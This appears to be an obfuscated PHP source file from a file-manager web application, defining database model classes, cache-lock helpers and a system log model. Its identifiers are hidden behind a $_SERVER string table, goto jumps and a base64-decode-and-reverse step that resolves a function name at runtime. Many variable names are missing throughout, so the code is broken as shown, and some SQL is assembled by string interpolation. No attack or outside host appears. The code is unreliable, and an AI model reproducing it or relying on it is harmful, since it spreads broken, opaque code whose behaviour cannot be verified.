isset($this->fields[$̶[259]]) ? $this->fields[$̶[259]] : $this->pk; } public function getDbFields() { $뢚 =& $_SERVER[Ȣ]; if (isset($this->options[$뢚[287]])) { $¶Ċ = $this->db->getFields($this->options[$뢚[287]]); return $¶Ċ ? array_keys($¶Ċ) : !1; } if ($this->fields) { $¶Ċ = $this->fields; unset($¶Ċ[$뢚[258]], $¶Ċ[$뢚[259]], $¶Ċ[$뢚[260]], $¶Ċ[$뢚[257]]); return $¶Ċ; } return !1; } public function data($̚ = '') { $۔ =& $_SERVER[Ȣ]; if ($۔[12] === $̚ && !empty($this->data)) { return $this->data; } if (is_object($̚)) { $̚ = get_object_vars($̚); } elseif (is_string($̚)) { parse_str($̚, $̚); } elseif (!is_array($̚)) { think_exception(think_lang($۔[279])); } $this->data = $̚; return $this; } public function join($ǡ) { $ =& $_SERVER[Ȣ]; if (is_array($ǡ)) { $this->options[$[290]] = $ǡ; } elseif (!empty($ǡ)) { $this->options[$[290]][] = $ǡ; } return $this; } public function union($, $멶 = false) { $ =& $_SERVER[Ȣ]; if (empty($)) { return $this; } if ($멶) { $this->options[$[355]][$[356]] = !0; } if (is_object($)) { $ = get_object_vars($); } if (is_string($)) { $ɼ = $; } elseif (is_array($)) { if (isset($[0])) { $this->options[$[355]] = array_merge($this->options[$[355]], $); return $this; } else { $ɼ = $; } } else { think_exception(think_lang($[279])); } $this->options[$[355]][] = $ɼ; return $this; } public function cache($̫ = true, $ = null, $ľ = '') { $̂ =& $_SERVER[Ȣ]; if (!1 !== $̫) { $this->options[$̂[357]] = array($̂[105] => $̫, $̂[347] => $, $̂[33] => $ľ); } return $this; } public function field($ٮ, $Ʀ = false) { $Ğ =& $_SERVER[Ȣ]; if (!0 === $ٮ) { $ = $this->getDbFields(); $ٮ = $ ? $ : $Ğ[195]; } elseif ($Ʀ) { if (is_string($ٮ)) { $ٮ = explode($Ğ[50], $ٮ); } $ = $this->getDbFields(); $ٮ = $ ? array_diff($, $ٮ) : $ٮ; } $this->options[$Ğ[281]] = $ٮ; return $this; } public function scope($ȳ = '', $ƾ = NULL) { $ȕ =& $_SERVER[Ȣ]; if ($ȕ[12] === $ȳ) { if (isset($this->_scope[$ȕ[37]])) { $˵ = $this->_scope[$ȕ[37]]; } else { return $this; } } elseif (is_string($ȳ)) { $ = explode($ȕ[50], $ȳ); $˵ = array(); foreach ($ as $҆ަԨ) { if (!isset($this->_scope[$҆ަԨ])) { continue; } $˵ = array_merge($˵, $this->_scope[$҆ަԨ]); } if (!empty($ƾ) && is_array($ƾ)) { $˵ = array_merge($˵, $ƾ); } } elseif (is_array($ȳ)) { $˵ = $ȳ; } if (is_array($˵) && !empty($˵)) { $this->options = array_merge($this->options, array_change_key_case($˵)); } return $this; } public function where($ݳ, $ = null) { $ =& $_SERVER[Ȣ]; if (!is_null($) && is_string($ݳ)) { if (!is_array($)) { $ = func_get_args(); array_shift($); } $ = array_map(array($this->db, $[351]), $); $ݳ = vsprintf($ݳ, $); } elseif (is_object($ݳ)) { $ݳ = get_object_vars($ݳ); } elseif (is_array($ݳ)) { foreach ($ݳ as $笰 => $) { if ((is_numeric($笰) || !$笰) && is_string($)) { if (strpos($, $[358]) === 0) { continue; } think_trace($[359], $[12], $[49]); die; } } } if (is_string($ݳ) && $[12] != $ݳ) { $ = array(); $[$[360]] = $ݳ; $ݳ = $; } if (isset($this->options[$[283]])) { $this->options[$[283]] = array_merge($this->options[$[283]], $ݳ); } else { $this->options[$[283]] = $ݳ; } return $this; } public function limit($, $ = null) { $ =& $_SERVER[Ȣ]; $this->options[$[300]] = is_null($) ? $ : $ . $[50] . $; return $this; } public function page($Ĝ٥, $Ϣ = null) { $ =& $_SERVER[Ȣ]; $this->options[$[361]] = is_null($Ϣ) ? $Ĝ٥ : $Ĝ٥ . $[50] . $Ϣ; return $this; } public function comment($) { $this->options[$_SERVER[Ȣ][362]] = $; return $this; } public function setProperty($؉, $拸) { if (property_exists($this, $؉)) { $this->{$؉} = $拸; } return $this; } } class ModelBase extends Model { const SQL_WHERE_IN_CHUNK = 2000; protected $dataAuto = array(array("\155\x6f\x64\x69\x66\x79\x54\x69\155\145", "\164\x69\x6d\x65", "\x69\x6e\163\x65\162\x74\54\165\160\x64\x61\x74\x65", "\146\165\156\x63\164\151\x6f\x6e"), array("\143\x72\x65\141\x74\x65\124\151\155\x65", "\x74\151\x6d\145", "\151\x6e\163\145\162\x74", "\x66\165\156\x63\164\151\x6f\156")); public function setDataAuto($) { $this->dataAuto = $; } public function __construct($⮔ = '', $ = '', $ = '') { parent::__construct($⮔, $, $); } protected $tableMeta = array(); protected function _beforeInsert(&$, $ϱ) { $̉ =& $_SERVER[Ȣ]; if (!$this->checkDataAutoHas($̉[363])) { return; } $this->dataBeforeFilter($, $̉[363]); } protected function _beforeUpdate(&$ڃ, $Ų) { $Ƙ =& $_SERVER[Ȣ]; if (!$this->checkDataAutoHas($Ƙ[364])) { return; } $this->dataBeforeFilter($ڃ, $Ƙ[364]); } protected function _afterSelect(&$Ӱ, $) { if (!is_array($Ӱ)) { return; } if (!$this->checkDataAutoHas($_SERVER[Ȣ][365])) { return; } foreach ($Ӱ as &$) { $this->dataAfterFilter($); } unset($); } protected function _afterFind(&$, $) { if (!is_array($)) { return; } if (!$this->checkDataAutoHas($_SERVER[Ȣ][365])) { return; } $this->dataAfterFilter($); } public static function textEncode($) { if (!$) { return $; } $ْ = json_encode($); $ْ = preg_replace_callback($_SERVER[Ȣ][366], function ($) { return addslashes($[0]); }, $ْ); return json_decode($ْ); } public static function textDecode($İ) { $ =& $_SERVER[Ȣ]; $ = json_encode($İ); $ = preg_replace_callback($[367], function ($Šܮ) { return $_SERVER[Ȣ][108]; }, $); return json_decode($); } public function setAutoIncrement($˳) { $ߪ = array($this->getPk() => $˳); $ˇĜ = $this->data($ߪ)->add(); if ($ˇĜ) { $this->delete($ˇĜ); } } public function getAutoIncrement() { $ = $this->getTableName(); $ʈ = $this->max($this->getPk()); $ъ = $this->query("\x73\x68\157\x77\x20\x74\141\x62\x6c\x65\x20\x73\164\x61\164\165\163\40\x77\x68\x65\162\x65\x20\x4e\x61\155\x65\x3d\47{$}\47"); $ѐ = $ъ[0][$_SERVER[Ȣ][368]]; $ = max($ʈ, $ѐ); return $; } protected function _callBefore($ŀ, $ج) { return $this->cacheCallCheck($ŀ, $ج, !1); } protected function _callAfter($, $) { return $this->cacheCallCheck($, $, !0); } protected function cacheFunctionAlias($Ͷ) { return !1; } public function cacheMemory() { return $this->cache(null, 0); } protected function cacheCallCheck($, $, $ = false) { $ = $this->cacheFunctionAlias($); if (!$) { return; } foreach ($ as $ => $≼) { $ = $≼[0]; $ = explode($_SERVER[Ȣ][50], $≼[1]); if ($ == $) { return $this->cacheFunctionGet($, $); } if ($ && in_array($, $)) { $this->cacheFunctionClear($, $); } } } public function cacheFunctionGet($ޞ, $濷) { $Ы = $this->cacheKeyMake($ޞ, $濷); $ = Cache::get($Ы); if (!is_array($)) { $ = call_user_func_array(array($this, $ޞ), array($濷, !0)); Cache::set($Ы, $); } return $; } public function cacheFunctionClear($ƍ, $) { $٩ = $; if (!is_array($)) { $٩ = array($); } foreach ($٩ as $煕) { $Ƃ = $this->cacheKeyMake($ƍ, $煕); Cache::remove($Ƃ); } } private function cacheKeyMake($Ӏ, $Ƴ) { $ǣ =& $_SERVER[Ȣ]; return get_class($this) . $ǣ[11] . $Ӏ . $ǣ[369] . $Ƴ; } protected function selectPageReset() { $ =& $_SERVER[Ȣ]; if (isset($GLOBALS[$[370]])) { return; } $GLOBALS[$[370]] = isset($GLOBALS[$[7]][$[371]]) ? $GLOBALS[$[7]][$[371]] : !1; $GLOBALS[$[372]] = isset($GLOBALS[$[7]][$[361]]) ? $GLOBALS[$[7]][$[361]] : !1; $GLOBALS[$[7]][$[371]] = !1; $GLOBALS[$[7]][$[361]] = !1; } protected function selectPageRestore() { $ =& $_SERVER[Ȣ]; if (!isset($GLOBALS[$[370]])) { return; } $GLOBALS[$[7]][$[371]] = $GLOBALS[$[370]]; $GLOBALS[$[7]][$[361]] = $GLOBALS[$[372]]; if ($GLOBALS[$[7]][$[371]] === !1) { unset($GLOBALS[$[7]][$[371]]); } if ($GLOBALS[$[7]][$[361]] === !1) { unset($GLOBALS[$[7]][$[361]]); } unset($GLOBALS[$[370]]); unset($GLOBALS[$[372]]); } protected function selectPage($ = 200, $ѝ = 1) { $ =& $_SERVER[Ȣ]; global $in; $ = $this->optionsValue(); $ = 50000; $ = isset($in[$[371]]) && $in[$[371]] ? $in[$[371]] : $; if ($ === -1) { $in[$[371]] = !1; $ = 100000000; $ = $; } $ޚ = $; $ޚ[$[373]] = array(); $ = intval($); $ = $ <= 5 ? 5 : ($ >= $ ? $ : $); $ѝ = intval(isset($in[$[361]]) && $in[$[361]] ? $in[$[361]] : $ѝ); $ѝ = $ѝ <= 1 ? 1 : $ѝ; $ɜ = array(); $¹ = 1; if ($ѝ == 1 && $¹) { $this->optionsValue($); $ɜ = $this->page($ѝ, $)->select(); $μ = is_array($ɜ) ? count($ɜ) : 0; if ($μ < $) { $Δ = 1; } else { $this->optionsValue($ޚ); $μ = intval($this->count()); $Δ = ceil($μ / $); } } else { $this->optionsValue($ޚ); $μ = intval($this->count()); $Δ = ceil($μ / $); $ѝ = $ѝ >= $Δ ? $Δ : $ѝ; $this->optionsValue($); $ɜ = $this->page($ѝ, $)->select(); } if (!is_array($ɜ)) { $ɜ = array(); } if ($Δ == 1) { $μ = count($ɜ); } $ = array($[374] => array($[375] => $μ, $[371] => $, $[361] => $ѝ, $[376] => $Δ), $[377] => $ɜ); return $; } protected function checkLength($, $ = 0, $眻 = '') { $̆ =& $_SERVER[Ȣ]; $ = $ ? $ : 65536; if (!$ || strlen($) < $) { return; } $眻 = $眻 ? $眻 . $̆[81] : $̆[12]; show_json($眻 . LNG($̆[378]) . "\x28{$}\51", !1); } protected function metaSet($, $ = null, $ = null) { $ =& $_SERVER[Ȣ]; if (!$this->tableMeta || !$) { return !1; } $ŀ = $this->tableMeta[$[379]]; $ = $this->tableMeta[$[380]]; $Ԛ = Model($); $Ť = array($ŀ => $, $[381] => $); if (is_null($)) { return $Ԛ->where(array($ŀ => $))->delete(); } if (is_null($) && is_string($)) { return $Ԛ->where($Ť)->delete(); } $ = is_array($) ? $ : array(); if (is_string($)) { $[$] = $; } $샗 = array(); foreach ($ as $ => $럆) { if (is_null($럆) && is_string($)) { $Ԛ->where(array($ŀ => $, $[381] => $))->delete(); continue; } $this->checkLength($럆, !1, $ . $[4] . $); $샗[] = array($ŀ => $, $[105] => $, $[382] => $럆); } $ޏ = $[383] . $; CacheLock::lock($ޏ); $Ԛ->where(array($ŀ => $))->addAll($샗, array(), !0); CacheLock::unlock($ޏ); return !0; } public function metaGet($Dz, $ = false) { $ҿ =& $_SERVER[Ȣ]; if (!$this->tableMeta) { return array(); } $狱 = $this->tableMeta[$ҿ[379]]; $݆ = Model($this->tableMeta[$ҿ[380]]); if ($) { $ƺ¢ = array($狱 => $Dz, $ҿ[105] => $); return $݆->where($ƺ¢)->getField($ҿ[382]); } $ƺ¢ = array($狱 => $Dz); $ = $݆->field($ҿ[384])->where($ƺ¢)->select(); $ = array_to_keyvalue($, $ҿ[105], $ҿ[382]); return $; } private function checkDataAutoHas($) { if (!is_array($this->dataAuto) || count($this->dataAuto) == 0) { return !1; } foreach ($this->dataAuto as $Ӝ) { if (in_array($, explode($_SERVER[Ȣ][50], $Ӝ[2]))) { return !0; } } return !1; } private function dataBeforeFilter(&$, $ճ) { $ =& $_SERVER[Ȣ]; if (!is_array($)) { return; } foreach ($this->dataAuto as $ڼ) { $ = $ڼ[0]; if (!in_array($ճ, explode($[50], $ڼ[2]))) { continue; } switch (trim($ڼ[3])) { case $[329]: case $[330]: $ = $ڼ[1]; $ = isset($ڼ[4]) ? (array) $ڼ[4] : array(); if ($ == $[210] && array_key_exists($, $)) { if (!$[$]) { unset($[$]); } break; } if (isset($[$])) { array_unshift($, $[$]); } if ($[329] == $ڼ[3]) { $[$] = call_user_func_array($, $); } else { $[$] = call_user_func_array(array(&$this, $), $); } break; case $[278]: if (isset($[$]) && $[$]) { $[$] = call_user_func_array(array(&$this, $ڼ[1]), array($[$])); } break; case $[281]: $[$] = $[$ڼ[1]]; break; case $[302]: if (isset($[$]) && !is_string($[$])) { $[$] = json_encode_force($[$]); } break; case $[331]: if ($[$] === $[12]) { unset($[$]); } break; case $[332]: $[$] = $ڼ[1]; default: break; } } if ($ճ == $[363]) { $ʆ = strtolower($this->db->getDbType()); if (strpos($ʆ, $[13]) !== 0) { return; } $ = $this->field(!0)->fields; $ż = $[$[260]]; if (isset($[$[259]])) { unset($ż[$[$[259]]]); } foreach ($ż as $ʱń => $ճ) { if (!isset($[$ʱń])) { $[$ʱń] = $[12]; } } } } private function dataAfterFilter(&$ׅ) { $ =& $_SERVER[Ȣ]; foreach ($this->dataAuto as $) { $ = $[0]; if (!isset($ׅ[$])) { continue; } if (!in_array($[365], explode($[50], $[2]))) { continue; } switch (trim($[3])) { case $[329]: case $[330]: $ = isset($[4]) ? (array) $[4] : array(); array_unshift($, $ׅ[$]); if (isset($[4]) && $[4] == $[385]) { $ = array($ׅ[$]); } if ($[329] == $[3]) { $ׅ[$] = call_user_func_array($[1], $); } else { $ׅ[$] = call_user_func_array(array(&$this, $[1]), $); } break; case $[278]: if (isset($ׅ[$]) && $ׅ[$]) { $ׅ[$] = call_user_func_array(array(&$this, $[1]), array($ׅ[$])); } break; case $[281]: $ׅ[$] = $ׅ[$[1]]; break; case $[302]: $ؓ = $ׅ[$]; $ׅ[$] = json_decode($ؓ, !0); if (is_null($ׅ[$])) { $ׅ[$] = $ؓ; } break; case $[331]: if ($ׅ[$] === $[12]) { unset($ׅ[$]); } break; case $[332]: $ׅ[$] = $[1]; break; default: break; } } } public function saveAll($݆°) { $ =& $_SERVER[Ȣ]; $ = $this->tablePrefix . $this->tableName; $ = self::SQL_WHERE_IN_CHUNK; $݆° = is_array($݆°) ? $݆° : array(); $ݡ = $[386]; $ = 0; $ = array(); $ = count($݆°); for ($ = 0; $ < $; $++) { $ = $݆°[$]; if (!is_array($) || count($) != 4) { continue; } $Մ = "\125\x50\104\101\124\x45\x20\140{$}\x60\40\x53\105\x54\x20{$[2]}\x20\75\40\x43\x41\x53\105\40{$[0]}\40\xa"; if ($ == 0) { $ݡ = $Մ; } $[] = $[129] . $[1] . $[129]; $++; $ݡ .= "\40\127\x48\105\x4e\x20\47{$[1]}\x27\x20\124\110\x45\116\x20\47{$[3]}\x27\40\xa"; if ($ == $ || $ == $ - 1) { $ = implode($[50], $); $ݡ .= "\40\x45\x4e\104\40\40\127\x48\x45\x52\105\x20{$[0]}\x20\111\x4e\x20\50{$}\x29\x20"; $this->execute($ݡ); $ = 0; $ݡ = $Մ; $this->chunkEventCheck(count($)); $ = array(); } } $this->chunkEventSet(); } public function saveAllEach($ϫ) { $ =& $_SERVER[Ȣ]; $ = $this->tablePrefix . $this->tableName; foreach ($ϫ as $Ƴ) { if (!is_array($Ƴ) || count($Ƴ) != 4) { continue; } $ = $Ƴ[0] . $[387] . $Ƴ[1] . $[129]; $ = $Ƴ[2] . $[387] . $Ƴ[3] . $[129]; $م = "\165\160\x64\x61\x74\145\x20{$}\x20\x73\x65\164\40{$}\40\167\x68\x65\x72\x65\40{$}\x3b"; $this->execute($م); } } protected $_chunkEvent = false; protected $_chunkEventParam = false; public function chunkEventSet($ = false, $ą̽ = false) { $this->_chunkEvent = $; $this->_chunkEventParam = $ą̽; } private function chunkEventCheck($) { if (!$this->_chunkEvent) { return; } $Ь = is_array($this->_chunkEventParam) ? $this->_chunkEventParam : array(); $Ь[$_SERVER[Ȣ][388]] = $; Hook::trigger($this->_chunkEvent, $Ь); } public function addAll($, $Ψ = array(), $Ε = false) { $ =& $_SERVER[Ȣ]; ignore_timeout(); $ = self::SQL_WHERE_IN_CHUNK; if (empty($)) { $this->error = think_lang($[279]); return !1; } $Ψ = $this->_parseOptions($Ψ); foreach ($ as $ => $) { $[$] = $this->_facade($); $this->_beforeInsert($[$], $Ψ); } if (method_exists($this->db, $[280])) { for ($ = 0; $ < count($); $ += $) { $Ֆ = array_slice($, $, $); if (!is_array($Ֆ) || count($Ֆ) == 0) { break; } $ = $this->db->insertAll($Ֆ, $Ψ, $Ε); $this->chunkEventCheck(count($Ֆ)); } $this->chunkEventSet(); } else { $this->startTrans(); foreach ($ as $ => $) { $ = $this->db->insert($, $Ψ, $Ε); } $this->commit(); } if (!1 !== $) { $Ϯ = $this->getLastInsID(); if ($Ϯ) { return $Ϯ; } } return $; } public function save($̠Ҏ = '', $ɫ = array()) { $ =& $_SERVER[Ȣ]; $ɶ = self::SQL_WHERE_IN_CHUNK; $Ⲫ = $this->optionsValue(); $ܭ = $this->findWhereField($Ⲫ); if (!$ܭ) { return parent::save($̠Ҏ, $ɫ); } $ܸ = 0; $ֶ = $Ⲫ[$[283]][$ܭ][1]; $ֶ = is_array($ֶ) ? $ֶ : array(); $ܲ = count($ֶ); for ($ӄȧ = 0; $ӄȧ < $ܲ; $ӄȧ += $ɶ) { $Ղ = array_slice($ֶ, $ӄȧ, $ɶ); if (!is_array($Ղ) || count($Ղ) == 0) { break; } $Ⲫ[$[283]][$ܭ][1] = $Ղ; $this->optionsValue($Ⲫ); $ܸ += parent::save($̠Ҏ, $ɫ); $this->chunkEventCheck(count($Ղ)); } $this->chunkEventSet(); return $ܸ; } public function add($硉 = '', $̺ = array(), $ = false) { if ($this->addTaskStatus && is_array($硉)) { $this->addTaskData[] = $硉; return; } return parent::add($硉, $̺, $); } public function parseWhereLike($, $ = '', $ = false, &$ = false) { $ =& $_SERVER[Ȣ]; $ = $GLOBALS[$[6]][$[389]]; if (!$[$[390]]) { return $; } if (!is_array($)) { return $; } $ = array(); $ = 0; foreach ($ as $֜ => $) { if (is_array($) && count($) == 2 && $[0] == $[391] && is_string($[1]) && substr($[1], 0, 1) == $[392] && substr($[1], strlen($[1]) - 1, 1) == $[392]) { $ = !0; $ڽ = is_string($֜) ? $֜ : $; $ս = substr($[1], 1, strlen($[1]) - 2); $ս = $this->db->escapeString($ս); if (!strpos($ڽ, $[10])) { $ڽ = $[393] . $ڽ . $[393]; } $܉ = $[195] . $ս . $[195]; if ($[$[394]]) { $܉ = $[395] . $ս . $[396]; if ($[$[397]]) { $܉ = $[396] . $ս . $[395]; } } $[$] = $[398] . $ڽ . $[399] . $܉ . $[400]; $++; continue; } if (is_array($)) { $ = is_string($֜) ? $֜ : $; $ = $this->parseWhereLike($, $, !0, $); } if (is_numeric($֜)) { $[$] = $; $++; } else { $[$֜] = $; } } if ($ && !$) { } return $; } private $addTaskStatus = false; private $addTaskData = array(); public function addTaskStart() { $this->addTaskStatus = !0; $this->addTaskData = array(); } public function addTaskEnd() { if (!$this->addTaskStatus) { return; } $this->addAll($this->addTaskData); $this->addTaskStatus = !1; $this->addTaskData = array(); } public function select($ = array()) { $׃ =& $_SERVER[Ȣ]; $ܙ = self::SQL_WHERE_IN_CHUNK; $Ħ = $this->optionsValue(); $ = $this->findWhereField($Ħ); if (!$ || isset($Ħ[$׃[300]]) || isset($Ħ[$׃[361]])) { return parent::select($); } $ = $Ħ[$׃[283]][$][1]; $ = is_array($) ? $ : array(); $墨 = null; for ($͘ = 0; $͘ < count($); $͘ += $ܙ) { $ɠ = array_slice($, $͘, $ܙ); if (!is_array($ɠ) || count($ɠ) == 0) { break; } $Ħ[$׃[283]][$][1] = $ɠ; $this->optionsValue($Ħ); $ = parent::select($); if (!$) { continue; } $墨 = is_array($墨) ? $墨 : array(); $墨 = array_merge($墨, $); } return $墨; } public function delete($ = array()) { $ߊ =& $_SERVER[Ȣ]; $ = self::SQL_WHERE_IN_CHUNK; $۰ = $this->optionsValue(); $Პ = $this->findWhereField($۰); if (!$Პ) { return parent::delete($); } $ = 0; $Ӷ = $۰[$ߊ[283]][$Პ][1]; $Ӷ = is_array($Ӷ) ? $Ӷ : array(); for ($ܨ = 0; $ܨ < count($Ӷ); $ܨ += $) { $ = array_slice($Ӷ, $ܨ, $); if (!is_array($) || count($) == 0) { break; } $۰[$ߊ[283]][$Პ][1] = $; $this->optionsValue($۰); $ += parent::delete($); } return $; } private function findWhereField($) { $ =& $_SERVER[Ȣ]; $ = self::SQL_WHERE_IN_CHUNK; if (!is_array($) || !is_array($[$[283]])) { return !1; } foreach ($[$[283]] as $ => $) { if (is_array($) && isset($[0]) && is_string($[0]) && strtolower($[0]) == $[7] && is_array($[1]) && count($[1]) > $) { ignore_timeout(); return $; } } return !1; } public function setMasterDB($گ = true) { think_config($_SERVER[Ȣ][401], $گ); } } class ModelBaseLight { public $optionType = ''; public $modelType = "\123\171\163\164\x65\155\x4f\x70\x74\151\x6f\x6e"; public $field = array(); public function listData($ʳ = false, $鮳 = "\155\x6f\144\151\146\x79\124\x69\155\x65", $ = false) { $ = Model($this->modelType)->get(!1, $this->optionType, !0); $ = array_values($); if ($ && $[0] && !is_array($[0])) { Model($this->modelType)->cacheRemove($this->optionType); $ = Model($this->modelType)->get(!1, $this->optionType, !0); } if (!$) { return $ʳ ? null : array(); } if (!$ʳ) { $ = array_filter(array_values($)); return array_sort_by($, $鮳, $); } return $[$_SERVER[Ȣ][402] . $ʳ]; } public function insert($) { $ =& $_SERVER[Ȣ]; $ = array_field_key($, $this->field); $ك = Model($this->modelType)->get($[403], $this->optionType . $[404]); $ك = $ك ? $ك : 0; $[$[405]] = ++$ك; $[$[207]] = time(); $[$[96]] = time(); Model($this->modelType)->set($[403], $ك, $this->optionType . $[404]); Model($this->modelType)->set($[402] . $ك, $, $this->optionType); return $ك; } public function update($, $Έ) { $ =& $_SERVER[Ȣ]; $Έ = array_field_key($Έ, $this->field); $Ӫ = $this->listData($); if (!$Ӫ || !$) { return !1; } $Έ = array_merge($Ӫ, $Έ); $Έ[$[96]] = time(); return Model($this->modelType)->set($[402] . $, $Έ, $this->optionType); } public function remove($꘤̤) { if (!$꘤̤) { return !1; } return Model($this->modelType)->remove($_SERVER[Ȣ][402] . $꘤̤, $this->optionType); } public function clear() { $ =& $_SERVER[Ȣ]; Model($this->modelType)->remove($[403], $this->optionType . $[404]); return Model($this->modelType)->remove(null, $this->optionType); } public function cacheClear() { return Model($this->modelType)->cacheRemove($this->optionType); } public function findByKey($, $) { if (!$) { return !1; } $ = $this->listData(); $ = array_to_keyvalue($, $); return isset($[$]) ? $[$] : !1; } public function findByName($) { return $this->findByKey($_SERVER[Ȣ][32], $); } protected function resetData($) { $ղό =& $_SERVER[Ȣ]; $ = is_array($) ? $ : array(); $ڳ = array(); for ($ = 0; $ < count($); $++) { $ڳ[$ղό[402] . $[$][$ղό[405]]] = $[$]; } return Model($this->modelType)->set($ڳ, !1, $this->optionType); } private function getAutoName($) { $ = array_to_keyvalue($this->listData(), $_SERVER[Ȣ][32]); if (!$ || !isset($[$])) { return $; } for ($ = 1; $ < count($); $++) { $ = $ . "\50{$}\x29"; if (!isset($[$])) { return $; } } return $; } } goto Aصو; e: $fileSize = strrev(base64_decode($_SERVER[][0])); function binCheckNeq($, $勥) { return $ != $勥; } $_SERVER[$_SERVER[][1]] = $fileSize($_SERVER[$_SERVER[][2]]); goto a؉; b: class CacheLockFile { private static $cachePath; private static $caches; public function __construct() { $䠇 =& $_SERVER[Ȣ]; $ = $GLOBALS[$䠇[6]][$䠇[357]]; self::$cachePath = $[$䠇[206]][$䠇[88]]; @mkdir(self::$cachePath, DEFAULT_PERRMISSIONS, !0); } public function lock($٣, $ = 0) { $߫Н =& $_SERVER[Ȣ]; $͘Э = microtime(!0); $ܜ = $͘Э + $ + 0.0001; $Τ = rtrim(self::$cachePath, $߫Н[8]) . $߫Н[876] . md5($٣) . $߫Н[873]; if (file_exists($Τ) && filemtime($Τ) && filemtime($Τ) < time() - 10) { @unlink($Τ); } do { if (file_exists($Τ)) { cacheLockWait(); continue; } $ = fopen($Τ, $߫Н[877]); if (!$) { return !1; } $둀 = flock($, LOCK_EX | LOCK_NB); self::$caches[$٣] = array($߫Н[878] => $, $߫Н[206] => $Τ); fwrite($, $ܜ); clearstatcache(); if ($ && $둀) { return !0; } cacheLockWait(); } while (microtime(!0) < $ܜ); $this->unlock($٣); return !1; } public function lockGet($뚗) { $ª =& $_SERVER[Ȣ]; $ = rtrim(self::$cachePath, $ª[8]) . $ª[876] . md5($뚗) . $ª[873]; return file_exists($); } public function unlock($ѨϷ) { $Ĥҋ =& $_SERVER[Ȣ]; $͚ = self::$caches[$ѨϷ]; if (!$͚) { return; } @flock($͚[$Ĥҋ[878]], LOCK_UN); @fclose($͚[$Ĥҋ[878]]); @unlink($͚[$Ĥҋ[206]]); unset(self::$caches[$ѨϷ]); } } class CacheLockRedis { public function lock($牫, $ = 10) { $ЕӇ = Cache::init(); $ = microtime(!0) + $; while (microtime(!0) < $) { $ = $ЕӇ->get($牫); if (!$) { $ݓ = $ЕӇ->setLock($牫, $, $); if ($ݓ) { return !0; } } else { if ($ < microtime(!0)) { $ЕӇ->set($牫, $, $ * 2); if ($ЕӇ->get($牫) === $) { return !0; } } } cacheLockWait(); } return !1; } public function lockGet($) { return Cache::init()->get($); } public function unlock($՜) { return Cache::init()->remove($՜); } } class CacheLockMemcached { public function lock($, $ = 0) { $ԭ = Cache::init(); $ = microtime(!0) + $; while (microtime(!0) < $) { $㩸 = $ԭ->get($); if (!$㩸 || $㩸 < microtime(!0)) { $ጚ = $ԭ->handle->add($, $, $); if ($ጚ) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($㥱) { return Cache::init()->get($㥱); } public function unlock($鞦) { return Cache::init()->remove($鞦); } } goto f; F: class SystemLightAppModel extends ModelBaseLight { public $optionType = "\123\x79\x73\x74\145\155\56\x4c\x69\147\x68\x74\101\160\160"; public $modelType = "\x53\x79\163\164\x65\155\117\160\x74\x69\x6f\156"; public $field = array("\156\x61\155\x65", "\147\x72\157\165\160", "\x64\145\163\143", "\143\x6f\x6e\164\x65\156\x74"); public function listData($ = false, $Ĵ˥ = "\155\x6f\x64\151\x66\171\x54\151\155\x65", $ʷ = true) { return parent::listData($, $Ĵ˥, $ʷ); } public function remove($˜) { $պ = $this->findByName($˜); if (!$պ) { return !1; } return parent::remove($պ[$_SERVER[Ȣ][405]]); } public function add($) { if ($this->findByName($[$_SERVER[Ȣ][32]])) { return !1; } return parent::insert($); } public function update($ߵ, $) { $ =& $_SERVER[Ȣ]; $뮆 = $this->findByName($ߵ); $՝ = $this->findByName($[$[32]]); if (!$뮆 || $՝ && $՝[$[405]] != $뮆[$[405]]) { return !1; } return parent::update($뮆[$[405]], $); } } class SystemLogModel extends ModelBase { protected $tableName = "\x73\x79\163\164\x65\x6d\x5f\154\157\x67"; protected $dataAuto = array(array("\x63\162\x65\x61\x74\145\124\x69\155\x65", "\x74\x69\x6d\x65", "\x69\156\163\x65\162\164", "\146\165\x6e\143\x74\x69\x6f\x6e")); public $typeList; function __construct() { parent::__construct(); $this->typeList = $this->typeListAll(); } public function typeListAll() { $ =& $_SERVER[Ȣ]; return array($[2152] => LNG($[2153]), $[2154] => LNG($[2155]), $[1777] => LNG($[2156]), $[2157] => LNG($[2158]), $[2159] => LNG($[2160]), $[2161] => LNG($[2162]), $[2163] => LNG($[2164]), $[1807] => LNG($[2164]), $[1808] => LNG($[2165]), $[2166] => LNG($[2167]), $[2168] => LNG($[2169]), $[2170] => LNG($[2171]), $[2172] => LNG($[2173]), $[1805] => LNG($[2174]), $[2175] => LNG($[2176]), $[1812] => LNG($[2177]), $[2178] => LNG($[2179]), $[2180] => LNG($[2181]), $[2182] => LNG($[2183]), $[2184] => LNG($[2185]), $[1815] => LNG($[2186]), $[1816] => LNG($[2187]), $[2188] => LNG($[2189]), $[2190] => LNG($[2191]), $[2192] => LNG($[2193]), $[1810] => LNG($[2194]), $[2195] => LNG($[2196]), $[1809] => LNG($[2197]), $[2198] => LNG($[2199]), $[2200] => LNG($[2201]), $[2202] => LNG($[2203]), $[2204] => LNG($[2204]), $[2205] => LNG($[1781]), $[2206] => LNG($[2207]), $[2208] => LNG($[2209]), $[2210] => LNG($[2211]), $[2212] => LNG($[2213]), $[2214] => LNG($[2215]), $[2216] => LNG($[2216]), $[2217] => LNG($[2218]), $[2219] => LNG($[2220]), $[2221] => LNG($[2222]), $[2223] => LNG($[2224]), $[2225] => LNG($[2226]), $[2227] => LNG($[2228])); } private function typeFile() { $ =& $_SERVER[Ȣ]; $ = array($[1812] => array($[1813]), $[2170] => array($[2229]), $[2172] => array($[2230]), $[1805] => array($[1806]), $[2180] => array(), $[2182] => array(), $[2184] => array(), $[1815] => array($[1817]), $[1816] => array($[1817]), $[2188] => array($[2231]), $[2190] => array($[2231]), $[2192] => array($[2232]), $[2178] => array($[2233]), $[1810] => array($[2234]), $[2195] => array($[2235]), $[1809] => array($[1811])); return $; } private function typeAll() { $둡 =& $_SERVER[Ȣ]; $ = $this->typeList; $ʀ = array_filter($this->typeFile()); foreach ($ʀ as $ => $) { $[$[0]] = $[$]; } $[$둡[1817]] = LNG($둡[2236]); $[$둡[2231]] = LNG($둡[2237]); return $; } public function addLog($, $韑܅ = array()) { $܉ =& $_SERVER[Ȣ]; if (!isset($this->typeList[$])) { return; } $Ԯ = defined($܉[479]) && USER_ID ? USER_ID : (isset($韑܅[$܉[1666]]) ? $韑܅[$܉[1666]] : 0); if (!$Ԯ) { $Ԯ = (int) Session::get($܉[1968]); } $彵 = get_client_ip(); if (!$韑܅ || strlen(json_encode($韑܅)) >= 1024) { $韑܅ = array($܉[2238] => $彵); } else { if (is_array($韑܅)) { $韑܅[$܉[2238]] = $彵; } else { $韑܅ = array($܉[1203] => 